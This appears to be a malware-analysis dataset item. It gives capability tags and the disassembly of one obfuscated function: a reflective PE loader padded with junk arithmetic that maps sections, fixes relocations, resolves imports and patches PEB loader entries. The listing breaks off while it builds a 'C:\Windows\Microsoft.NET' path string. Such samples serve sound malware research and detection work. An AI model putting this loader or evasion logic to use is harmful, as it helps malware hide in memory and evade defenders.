Function at 0x40b000
Capabilities:
Access peb ldr_data
Check for peb ntglobalflag flag
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Get process heap force flags
Inspect section memory permissions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
neg edx
add ebx, 0xb9
mov eax, 0xfa
add ebx, 0x5e
ror eax, 0xb8
and eax, 0x2b
bswap eax
not edx
not ebx
bswap edi
ror eax, 4
sub esi, 0x87
sbb esi, 0x1f
not esi
or ebx, 0x9f
rol ebx, 0x7f
add esi, 0x3f
imul ebx
mov eax, 0x14
rol esi, 0x68
dec edi
not ebx
dec edx
neg esi
rcr esi, 0x4a
neg edi
rol edx, 0xca
rol eax, 0xb
dec ebx
rcl eax, 0x24
dec eax
not ebx
sbb esi, 0xd3
bswap esi
and eax, 0x53
rcl esi, 0x8d
add edx, 0xfa
not edx
imul edi
not eax
mov ebx, 0x81
rcl edx, 0xc1
rcr edi, 0xfa
sub edx, 0x1a
imul edx
imul ebx
rcl edi, 0xf3
dec edi
imul esi
not eax
or edx, 0xde
add eax, 0x89
sbb eax, 0xa7
rol edi, 0x74
not eax
sbb eax, 0x85
neg edi
imul ebx
sbb ebx, 0xc0
imul eax
imul ebx
inc edx
neg ebx
rcr edx, 0xd8
imul edi
mov eax, 0x25
imul esi
neg edx
rcr eax, 0x13
neg edi
ror eax, 0x64
mov edx, 0x94
imul edi
or edx, 0xab
inc eax
imul ebx
mov edi, 0x7a
inc edi
not esi
bswap esi
dec edi
sbb edi, 0xd6
neg esi
rcr ebx, 0xa
rol edi, 0x79
dec edx
bswap esi
imul ebx
not eax
bswap ebx
sub esi, 0x2b
dec esi
rcr eax, 0x25
mov eax, 0x42
rcr edx, 0xf6
not eax
not ebx
ror edi, 0x59
rcr edx, 0x89
sbb esi, 0xae
rol eax, 0xaf
sbb eax, 0x82
inc ebx
ror ebx, 0x58
or ebx, 0xf7
inc esi
mov ebx, 0x6c
not edi
or eax, 0x50
mov esi, 0xf
dec ebx
rol edx, 0xdc
rcr edx, 0x50
sbb ebx, 0xef
mov edx, 0x87
bswap edi
add eax, 0xf4
add esi, 0xcc
bswap edx
mov ebx, 0x49
not edx
imul edi
rcr edx, 0x9f
rol eax, 0xca
neg edx
sbb eax, 0xcd
neg edx
ror ebx, 0xd1
or esi, 0x8e
dec ebx
not edx
not esi
rcl edi, 0x8f
or esi, 0x79
or edi, 0xaa
sub esi, 0x6e
imul eax
imul edi
or ebx, 0xa7
or esi, 0xbd
rcl edi, 0x60
add edx, 0xbe
bswap esi
inc edx
neg ebx
inc edx
inc edi
ror ebx, 0x19
imul edx
dec edx
imul esi
or edx, 0xc
neg edx
dec esi
or edi, 0x4c
not ebx
mov eax, 0x19
dec ebx
imul edi
inc edi
dec edi
or edx, 0xcd
sbb edi, 0x99
and esi, 0x5f
neg edx
dec esi
and esi, 0x91
not edx
bswap edi
dec ebx
bswap eax
inc edx
inc edi
or eax, 7
bswap esi
neg edi
add edi, 0xc
add ebx, 0xcb
mov edi, 0x8f
ror ebx, 0x6e
mov eax, 0x3d
rcl eax, 8
dec ebx
imul esi
not esi
inc esi
dec esi
bswap ebx
neg eax
inc esi
and eax, 0x3c
not ebx
dec ebx
neg ebx
not ebx
mov edx, 0xf3
neg edx
rol ebx, 4
neg ebx
mov edi, 0xc9
push 0x4de00
push 0x410008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x410008
bswap eax
or edx, 7
dec edi
bswap edi
inc edi
add edx, 0x5b
imul eax
dec esi
rcr edi, 0xd0
not edx
inc ebx
dec eax
rol ebx, 0xe8
rcr ebx, 0xff
neg edi
mov esi, 0xd5
imul esi
and ebx, 0x8d
ror esi, 0xd6
imul edi
not eax
dec edx
mov eax, 0x8c
sub esi, 0x57
neg edi
mov esi, 0x64
and edi, 0x17
add eax, 0x11
and esi, 0xf6
rcr edi, 0xaa
dec edi
bswap edx
sbb esi, 0x99
or esi, 0x86
rcr ebx, 1
bswap ebx
and edx, 0x40
rol eax, 0x32
inc ebx
dec eax
rcl eax, 0xe
dec eax
bswap eax
mov esi, 0x83
inc esi
inc eax
rcr esi, 0x48
neg esi
dec edi
neg edi
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0x4550
je 0x40b316
mov eax, 1
jmp 0x40c920
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0xa4]
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x40b349
mov dword [ebp - 0x110], 0
jmp 0x40b358
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x110], edx
push 4
push 0x3000
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0xb8], 0
jne 0x40b3a0
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [eax + 0x34]
je 0x40b3a0
mov eax, 2
jmp 0x40c920
sbb ebx, 0xe5
imul edx
and edx, 0x55
or edi, 0x3f
not ebx
dec esi
dec ebx
and ebx, 0x3b
rol edi, 8
imul eax
sbb edi, 0xc6
rcl ebx, 0xc
not eax
dec eax
sbb eax, 0x3d
ror eax, 0xda
imul edi
bswap edx
rcl esi, 0xb0
neg eax
rcl edi, 0x18
mov eax, 2
bswap edx
imul eax
mov eax, 0xd9
mov edx, 0x5f
add edi, 0xf3
sbb eax, 0x7c
sub esi, 0xb7
rcr esi, 0xfa
or edi, 0x9a
inc esi
bswap esi
inc edi
sbb edx, 0xbe
neg eax
rol edi, 0x4c
or esi, 0x93
rol edx, 0x2e
dec esi
inc edx
mov eax, 0xf6
imul edx
dec edx
bswap edi
dec esi
rol edx, 0x99
inc eax
inc edi
or edi, 0x6a
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00401220
add esp, 0xc
or eax, 0x4c
mov esi, 0x12
ror esi, 0x1a
neg eax
dec esi
imul ebx
not ebx
rcl eax, 9
bswap esi
inc esi
rol esi, 0xfc
inc edi
add edi, 0xe3
add ebx, 0xef
bswap eax
rcr eax, 0x6d
and edx, 0x8e
dec edi
dec eax
rol edx, 8
and ebx, 0xe9
sub edx, 0xd8
inc edx
mov eax, 0x1e
not esi
sub edi, 0xfe
rol edx, 0xd8
and esi, 0x1d
imul edx
bswap edi
or edi, 0x82
sbb edi, 0x82
add edx, 0xb2
rcr edx, 0xc5
mov edx, 0xdd
not esi
or edi, 0x3e
imul eax
imul esi
rol ebx, 0x95
sub esi, 0x38
dec eax
imul edx
ror ebx, 0x5b
or ebx, 0x97
rol ebx, 6
not edi
and esi, 0x2d
imul eax
rcr edi, 0x71
not esi
sub esi, 0xd3
bswap eax
neg eax
sub ebx, 0xb5
inc esi
or esi, 0x77
rcl edx, 0x2e
add edx, 0x92
and edi, 0x62
mov esi, 0xe
bswap edi
ror eax, 0x30
rcr edi, 0x57
rcl edi, 0x6f
bswap ebx
not edx
bswap edx
add esi, 0xbc
rcr eax, 0x9a
not ebx
sub edi, 0xa3
not eax
rcl edx, 0xfc
bswap edx
add edx, 0xc5
and esi, 0x2f
neg ebx
sub ebx, 0xb7
bswap edx
or ebx, 0xc8
bswap edx
rcr esi, 0xe4
rcr ebx, 0x2b
sbb ebx, 0xe2
neg ebx
rol eax, 0xec
inc esi
inc esi
dec ebx
mov ebx, 0xbf
sub ebx, 0xde
bswap edx
dec edx
not eax
sbb edi, 0x51
rcl edx, 0x89
or edi, 6
ror edx, 0xe5
imul edi
imul ebx
ror edi, 0x9f
neg esi
and esi, 0xdb
rcr ebx, 0x43
add edi, 0xda
bswap esi
rcr esi, 0x50
bswap edi
ror edx, 0x90
and ebx, 0xe4
rcr esi, 0x62
not edx
neg ebx
bswap edx
not edi
not edi
imul edi
inc edx
sbb edx, 0x8c
ror edi, 0x69
sub eax, 0x1e
imul edi
sbb eax, 0x4b
imul ebx
rcl edi, 0xe8
mov eax, 0x7b
not ebx
inc ebx
inc ebx
imul edi
not edi
bswap eax
mov edx, 0x1a
or edx, 0x7f
bswap ebx
dec edi
dec edi
or eax, 0
or edx, 0x3f
bswap eax
add edx, 0x63
rcl eax, 0xb5
imul edx
inc ebx
mov ebx, 0x6e
rol edx, 0xae
inc edx
sub edi, 0xb6
ror ebx, 0xe5
or edx, 0x73
and edx, 0x1b
rcl ebx, 0x7a
not edx
rcl eax, 0x57
sub edi, 0xfe
imul esi
not ebx
neg ebx
add ebx, 8
rcr edi, 0x46
rcr edx, 0x9a
inc eax
mov edi, 0xe9
neg esi
sub eax, 0x16
rcr edi, 0xc8
imul eax
dec esi
inc edx
rcl esi, 0xb0
dec edi
bswap edi
rcr edi, 0x48
dec eax
rcl edi, 0x6f
bswap esi
rcr eax, 0xa5
rcr edx, 0x80
add edx, 0xca
rol esi, 0x9a
rcl ebx, 0x15
add edx, 0xa4
inc ebx
sbb ebx, 0xe8
ror eax, 0x3e
rcr edx, 0x33
sbb edi, 0xd
dec edx
not ebx
inc edx
rcl esi, 0xb9
bswap ebx
mov ebx, 0x70
bswap eax
ror ebx, 0x26
or edi, 0xb9
neg edx
rcr ebx, 0x15
inc eax
rcl eax, 0x19
rcl ebx, 0x22
bswap eax
rol ebx, 0x4e
rcl edx, 0x5d
not edi
dec esi
dec eax
not ebx
mov eax, 0xf3
bswap esi
imul eax
ror edx, 0x33
rcl edi, 0x83
imul ebx
imul eax
or ebx, 0xab
mov eax, 0xc
sub esi, 0xc8
imul edi
not eax
rol edx, 0xcc
sbb esi, 0x82
ror ebx, 0x36
bswap eax
ror eax, 0xd6
dec edx
bswap edx
inc eax
neg esi
neg edi
not esi
and esi, 0x8c
inc esi
add eax, 0xd5
inc edx
neg edi
ror ebx, 0x7d
neg edi
dec esi
neg esi
or edi, 0x2e
not ebx
neg edi
neg edx
rcr eax, 0x4c
sub eax, 0xbe
neg eax
rol ebx, 0xcb
not ebx
mov ecx, dword [ebp - 0x90]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x90]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xc8], 0
jmp 0x40b753
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x90]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0xc8], ecx
jge 0x40b7b4
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401220
add esp, 0xc
jmp 0x40b744
bswap ebx
rol edi, 0xd1
inc ebx
neg ebx
ror ebx, 0xfd
rcl edi, 0x53
bswap esi
dec esi
and eax, 0x4e
sub edi, 0xe9
sbb eax, 0x27
not edi
dec edx
imul ebx
bswap edx
not ebx
rcl ebx, 0x1c
rcl eax, 0xf3
add ebx, 0xfa
sbb esi, 0x4d
imul edi
ror edi, 0x83
bswap edi
ror ebx, 0xcd
bswap esi
inc edi
mov esi, 0x39
bswap edx
sbb esi, 0x7f
neg edi
not edx
rcr ebx, 0xdb
neg eax
bswap eax
neg eax
not ebx
sub esi, 0x47
ror eax, 0x54
sub edx, 0xab
bswap ebx
add edi, 0xa7
dec edx
and edi, 0x74
add esi, 5
dec eax
dec ebx
ror esi, 0xaa
sub edi, 0x85
bswap esi
imul eax
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
cmp eax, dword [edx + 0x34]
je 0x40b96e
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd4], 0
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xb8]
jae 0x40b96e
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xcc]
add eax, 8
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xe4], 0
jmp 0x40b8e3
mov ecx, dword [ebp - 0xe4]
add ecx, 1
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xdc]
jge 0x40b948
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x40b937
mov edx, dword [ebp - 0xe0]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0xe0]
add ecx, 2
mov dword [ebp - 0xe0], ecx
jmp 0x40b8d4
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd4]
add eax, dword [edx + 4]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0xcc], ecx
jmp 0x40b87f
mov esi, 0xa8
inc edi
mov ebx, 0x56
add edi, 0xc2
dec ebx
sbb esi, 0xf9
sub esi, 0x16
inc eax
rol ebx, 0x6d
sbb esi, 0x46
or edx, 0xb7
inc ebx
and esi, 0xd7
rol edi, 0xd7
imul eax
not ebx
bswap ebx
add ebx, 0xbc
rcr edx, 0x28
rcr edi, 0xb
rcl esi, 0x8f
sub eax, 0x65
rol edx, 0x78
mov edi, 0x5d
ror edx, 6
rcl esi, 0x16
or edx, 5
inc edx
not ebx
not edi
inc esi
inc eax
neg ebx
inc eax
not edi
sbb ebx, 0x8e
mov ebx, 0x19
and ebx, 0xcc
bswap esi
imul eax
imul eax
ror esi, 4
ror edi, 0xcb
bswap eax
rcl eax, 0x29
dec eax
dec ebx
rcl edx, 0x66
imul edi
neg esi
rcr eax, 0x3c
neg edi
neg eax
mov esi, 0x1e
add edx, 0x32
sub edx, 0x50
inc ebx
ror edx, 0xc6
neg edx
sbb ebx, 0xf5
imul ebx
add esi, 0x55
dec eax
rcl eax, 0x7f
neg eax
mov ebx, 0xf6
bswap eax
inc ebx
inc esi
not esi
ror edi, 0xa2
sbb esi, 0x52
inc eax
rcl edx, 0xe6
rol eax, 0xfe
neg esi
imul ebx
inc esi
ror ebx, 0x5d
not eax
mov edi, 0x81
ror edi, 0xcf
ror ebx, 0x2d
rcl esi, 0x2f
bswap esi
dec ebx
imul edx
sub edi, 5
sbb edi, 0x6d
dec ebx
ror ebx, 3
imul esi
imul esi
dec eax
rcr edi, 0x11
dec edx
neg edi
rcr esi, 0x2b
rcl edx, 0x6d
mov esi, 0xc
dec ebx
not edi
ror ebx, 0xa6
sbb eax, 0xcf
sbb esi, 0x81
dec eax
rol esi, 0xf
not eax
bswap edx
dec edx
and edi, 0xef
not eax
rcr eax, 0x87
bswap esi
add edi, 0x86
sub ebx, 0xd1
bswap edx
ror edx, 0x4e
dec esi
rcl esi, 0x8f
add eax, 0xb5
rol edx, 0xab
and ebx, 0xf0
imul edx
not eax
rcl ebx, 5
mov ebx, 0xb6
rcl edx, 0xa6
dec eax
rcr edx, 0x4f
ror edi, 0xe2
imul esi
dec esi
or edx, 0xa4
ror edx, 0x15
rol edi, 0xa2
neg esi
rcl ebx, 0x4e
inc ebx
sbb esi, 0x11
imul ebx
rcl ebx, 0x2c
imul eax
not edi
ror eax, 0x3b
and eax, 5
neg eax
not edx
neg edx
bswap ebx
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xe8], 0
jmp 0x40bb40
mov ecx, dword [ebp - 0xe8]
add ecx, 1
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
cmp dword [eax + edx + 0x10], 0
je 0x40bc7e
mov ecx, dword [ebp - 0xe8]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jne 0x40bb97
jmp 0x40bb31
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xf8], 0
jmp 0x40bbd1
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf0]
cmp dword [ecx + eax*4], 0
je 0x40bc79
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0xec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jne 0x40bc4c
mov eax, dword [ebp - 0x100]
add eax, 2
push eax
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
mov dword [ecx + edx*4], eax
jmp 0x40bbc2
jmp 0x40bb31
mov dword [ebp - 0x104], 0
jmp 0x40bc99
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x90]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x104], eax
jge 0x40bdb7
mov dword [ebp - 0x108], 0x40
mov ecx, dword [ebp - 0x104]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x9c]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x40bd07
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x40bd07
mov eax, dword [ebp - 0x10c]
and eax, 0x20000000
je 0x40bd07
mov dword [ebp - 0x108], 0x40
jmp 0x40bd6e
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x40bd2f
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x40bd2f
mov dword [ebp - 0x108], 4
jmp 0x40bd6e
mov eax, dword [ebp - 0x10c]
and eax, 0x40000000
je 0x40bd56
mov ecx, dword [ebp - 0x10c]
and ecx, 0x20000000
je 0x40bd56
mov dword [ebp - 0x108], 0x20
jmp 0x40bd6e
mov edx, dword [ebp - 0x10c]
and edx, 0x40000000
je 0x40bd6e
mov dword [ebp - 0x108], 2
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401240
add esp, 0x10
jmp 0x40bc8a
sub edx, 0x94
rol edi, 0x65
sbb eax, 0xac
rcr edi, 0xad
dec edx
rcr edx, 0x12
imul esi
imul edx
imul ebx
bswap ebx
not edi
rcr edx, 0x68
neg edx
inc esi
inc esi
ror edx, 0xa8
bswap ebx
rcl edx, 0x81
add ebx, 0xc2
bswap ebx
not edi
bswap edi
or eax, 0x1e
and edi, 0xb7
bswap ebx
rcr edx, 0x71
and edx, 0xb9
and edi, 0xa
rol eax, 0xfa
ror edi, 0xcc
neg ebx
add eax, 0x56
bswap ebx
not esi
bswap ebx
or esi, 6
imul esi
sbb ebx, 0x9b
rcr edi, 0x97
add edi, 0xd0
mov eax, 0xe6
neg eax
sub edx, 8
rol esi, 0x81
inc eax
bswap ebx
inc esi
dec edi
bswap eax
and esi, 0x2f
inc edi
inc eax
mov edi, 0x5c
sub edi, 0xd1
bswap edi
imul edx
inc edi
neg edx
dec edx
ror eax, 0xce
dec ebx
dec edx
rcl eax, 0x33
neg ebx
dec ebx
rcl edx, 0x49
not ebx
mov esi, 0x31
or edi, 0xf8
ror esi, 0x83
not ebx
inc eax
sub esi, 0x10
not ebx
inc eax
sub esi, 0x16
sbb edx, 0x72
neg eax
bswap esi
add ebx, 0x4d
rcl eax, 0x2f
neg edx
sub edx, 0xdf
imul eax
bswap ebx
inc edx
neg eax
bswap edi
inc edx
and edi, 0x55
not edi
imul edx
bswap ebx
rol eax, 0x3d
mov ebx, 0x74
neg ebx
neg edi
dec edi
bswap edi
rol edx, 0x8f
add ebx, 0xfe
rcr edx, 0x9a
bswap ebx
inc eax
dec eax
sbb esi, 0x52
dec edx
bswap ebx
ror eax, 0x39
bswap edx
add esi, 0x3e
sbb eax, 0xa5
sub esi, 0x9f
add esi, 0xf5
sub edi, 0x62
bswap esi
mov eax, 0x41
neg edx
sub edi, 0xb
and eax, 0xd4
ror esi, 0xbd
bswap eax
inc esi
rol edi, 0xe7
rcr ebx, 0x43
sbb edi, 0xf1
dec edx
ror esi, 0x87
not esi
mov eax, 0xf
sub esi, 0x4d
add edx, 0xaa
rol edx, 0x7a
dec eax
dec esi
rol edx, 0xd1
sbb edx, 0xc2
neg edi
rcl edi, 0xcc
not edx
sbb esi, 0x7c
neg edx
rcr edi, 0xb6
or edx, 0xe9
neg edx
sbb edi, 0xe
and edx, 0x4a
inc edx
sub edx, 0x92
bswap eax
mov edx, dword fs:[0x30]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0x98], eax
not eax
or eax, 0x33
inc edx
and edx, 0xc8
neg esi
dec edx
bswap eax
add edx, 5
not edi
dec ebx
inc esi
inc edi
inc edx
dec eax
add esi, 0xb5
not esi
rol edx, 0x64
and edx, 0x43
rcl eax, 0x86
not esi
sbb esi, 0x58
not edx
inc eax
dec eax
imul edi
rol edi, 0x4e
imul eax
sub edx, 0xe7
bswap edx
dec eax
sbb ebx, 0xee
not ebx
neg esi
mov esi, 0xc6
dec esi
rcr esi, 0x1b
rol edx, 0xe1
neg esi
ror ebx, 0xc3
imul eax
bswap eax
and esi, 0xa
not esi
neg edx
and esi, 6
inc esi
not ebx
imul edx
sbb edi, 0x6d
rcr eax, 0x76
dec edi
not ebx
dec edx
sub edi, 0x1b
imul esi
mov edx, 0xf3
bswap edi
inc edx
inc edx
not esi
and edi, 0x7f
imul eax
ror edx, 0xb6
add edi, 0x56
neg edx
neg ebx
inc edx
or eax, 0xab
rcl edx, 0x72
mov edi, 0x7c
inc edx
and edx, 0x18
add eax, 0x18
imul edi
neg esi
rcr eax, 0x47
bswap edx
and eax, 0xe2
sbb esi, 0xdb
imul eax
inc ebx
bswap esi
ror edx, 0x2e
dec edx
imul esi
bswap edx
neg ebx
sub edx, 0xfe
imul esi
not edx
neg edi
sbb eax, 0xe3
bswap edi
neg esi
not edi
imul ebx
neg edi
bswap eax
rol eax, 0x4b
mov edi, 0xc2
and esi, 0x7f
rcr edi, 0x7f
inc esi
not edi
rol ebx, 0xc0
inc esi
not ebx
neg esi
inc eax
not edi
dec ebx
inc ebx
dec edi
inc ebx
not edi
mov edx, 0x71
imul ebx
imul esi
rcl esi, 0xaf
not eax
imul edx
bswap eax
add edi, 0x1a
imul ebx
dec eax
rcl eax, 0x97
add ebx, 0x7e
sbb eax, 0x43
rol eax, 0xb2
or eax, 0xe2
add ebx, 0xf9
rcl edx, 0x78
rcl edi, 0x21
not esi
mov edi, 0x1d
not eax
add eax, 6
inc ebx
dec ebx
rol edi, 0x31
rcl ebx, 0x8e
not eax
mov edi, 0xdb
rcr edi, 0x38
imul eax
inc eax
bswap eax
dec eax
not esi
mov esi, 0x10
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x8c]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x8c]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0x98]
add edx, 0x24
mov dword [ebp - 0xa4], edx
sbb ebx, 0x76
neg eax
mov eax, 0xf9
rcr eax, 9
rcr ebx, 0x8b
rol edi, 0x4e
imul ebx
rcr esi, 0xe4
dec edx
and ebx, 0x89
not eax
neg edx
imul edx
sub esi, 0x61
not eax
rol eax, 0xde
mov edi, 0x91
add ebx, 0xe3
add edi, 0x1a
mov esi, 0xb1
sbb edx, 0x23
neg esi
rol ebx, 0x4e
rol edi, 0x89
inc edx
neg ebx
dec eax
sub edi, 0x63
sbb edi, 0x83
rcr edi, 0xb7
not ebx
bswap ebx
ror ebx, 0x9f
mov esi, 0xc6
dec ebx
bswap ebx
ror edx, 0x9e
bswap ebx
rol edi, 0xff
rol edi, 0x9b
mov edi, 0xac
imul edi
not esi
rcr ebx, 0x18
inc eax
dec edi
sbb eax, 0x46
neg esi
ror edx, 0xab
or edx, 0x8e
rol edx, 0x9d
sbb esi, 0x64
imul eax
imul esi
rcl esi, 0x1b
rcl eax, 0x83
dec ebx
dec edx
inc edi
ror edx, 0xec
rol eax, 0x73
neg ebx
add eax, 0x9a
add edx, 0x45
neg ebx
or edi, 3
ror ebx, 0x7a
neg ebx
dec ebx
sub edx, 0x35
ror ebx, 0x54
sub eax, 0xa2
or edx, 0x78
rol ebx, 0x60
bswap edi
rol edi, 0xf6
dec eax
mov eax, 0x48
or eax, 0x5c
not eax
sbb eax, 0x26
dec edx
rcl esi, 0xe5
rol eax, 0xbb
inc edi
dec esi
or edx, 0x6c
not edi
inc eax
rcr edi, 0x8f
not edx
dec eax
and esi, 0xb9
sbb edx, 0
not edx
add esi, 0xa7
not edx
rcr esi, 0x14
rcr ebx, 0x77
bswap ebx
sbb edx, 0x38
add ebx, 0x68
not edx
rcl eax, 0xe4
bswap esi
bswap edi
mov eax, 0x48
dec ebx
or ebx, 0x2a
ror edx, 0x7c
bswap edx
not ebx
rcr edi, 0x27
bswap esi
rcr ebx, 0x6b
or edi, 0x8f
and eax, 0x2b
neg edi
dec esi
sub ebx, 0xd9
rcl edi, 0x13
or eax, 0x56
dec edx
ror eax, 0xf2
neg eax
or edx, 0xe7
rcl esi, 0xb8
not eax
rcr edi, 0xe6
or esi, 0xc4
mov edi, 0x3d
sub ebx, 0xb8
ror eax, 0xcc
not edx
not edx
mov edx, 0x47
not ebx
dec ebx
or ebx, 0xa3
rcl edi, 0x55
neg edx
neg edx
mov edx, 0xbc
and edx, 0xc7
sub esi, 0xb0
not eax
ror ebx, 0x39
add esi, 0xfc
or esi, 0x30
imul eax
mov eax, 0x43
mov word [ebp - 0x88], ax
mov ecx, 0x3a
mov word [ebp - 0x86], cx
mov edx, 0x5c
mov word [ebp - 0x84], dx
mov eax, 0x5c
mov word [ebp - 0x82], ax
mov ecx, 0x57
mov word [ebp - 0x80], cx
mov edx, 0x69
mov word [ebp - 0x7e], dx
mov eax, 0x6e
mov word [ebp - 0x7c], ax
mov ecx, 0x64
mov word [ebp - 0x7a], cx
mov edx, 0x6f
mov word [ebp - 0x78], dx
mov eax, 0x77
mov word [ebp - 0x76], ax
mov ecx, 0x73
mov word [ebp - 0x74], cx
mov edx, 0x5c
mov word [ebp - 0x72], dx
mov eax, 0x4d
mov word [ebp - 0x70], ax
mov ecx, 0x69
mov word [ebp - 0x6e], cx
mov edx, 0x63
mov word [ebp - 0x6c], dx
mov eax, 0x72
mov word [ebp - 0x6a], ax
mov ecx, 0x6f
mov word [ebp - 0x68], cx
mov edx, 0x73
mov word [ebp - 0x66], dx
mov eax, 0x6f
mov word [ebp - 0x64], ax
mov ecx, 0x66
mov word [ebp - 0x62], cx
mov edx, 0x74
mov word [ebp - 0x60], dx
mov eax, 0x2e
mov word [ebp - 0x5e], ax
mov ecx, 0x4e
mov word [ebp - 0x5c], cx
mov edx, 0x45
mov word [ebp - 0x5a], dx
mov eax, 0x54
